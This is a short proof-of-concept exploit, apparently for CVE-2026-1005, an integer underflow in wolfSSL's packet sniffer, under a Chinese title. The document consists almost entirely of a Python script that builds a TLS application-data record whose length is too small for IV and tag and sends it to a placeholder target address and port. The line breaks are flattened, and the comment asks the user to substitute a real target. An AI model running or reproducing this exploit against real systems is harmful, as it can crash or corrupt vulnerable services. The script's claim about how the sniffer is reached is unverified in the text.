CVE-2026-1005 wolfSSL数据包嗅探器整数下溢漏洞

import socket import struct # Target IP and Port (replace with actual target) TARGET_IP = "192.168.1.100" TARGET_PORT = 443 def create_malformed_tls_record(): # TLS Record Header content_type = 0x17 # Application Data version = 0x0303 # TLS 1.2 # Length is set to a small value (e.g., 10 bytes) which is smaller than IV + Tag # This triggers the underflow in ssl_DecodePacket length = 10 header = struct.pack(">BHH", content_type, version, length) # Payload (arbitrary data, length must match header length) payload = b"A" * length return header + payload def send_exploit(): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Send malformed TLS record malformed_packet = create_malformed_tls_record() s.send(malformed_packet) print("Malformed packet sent successfully.") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit()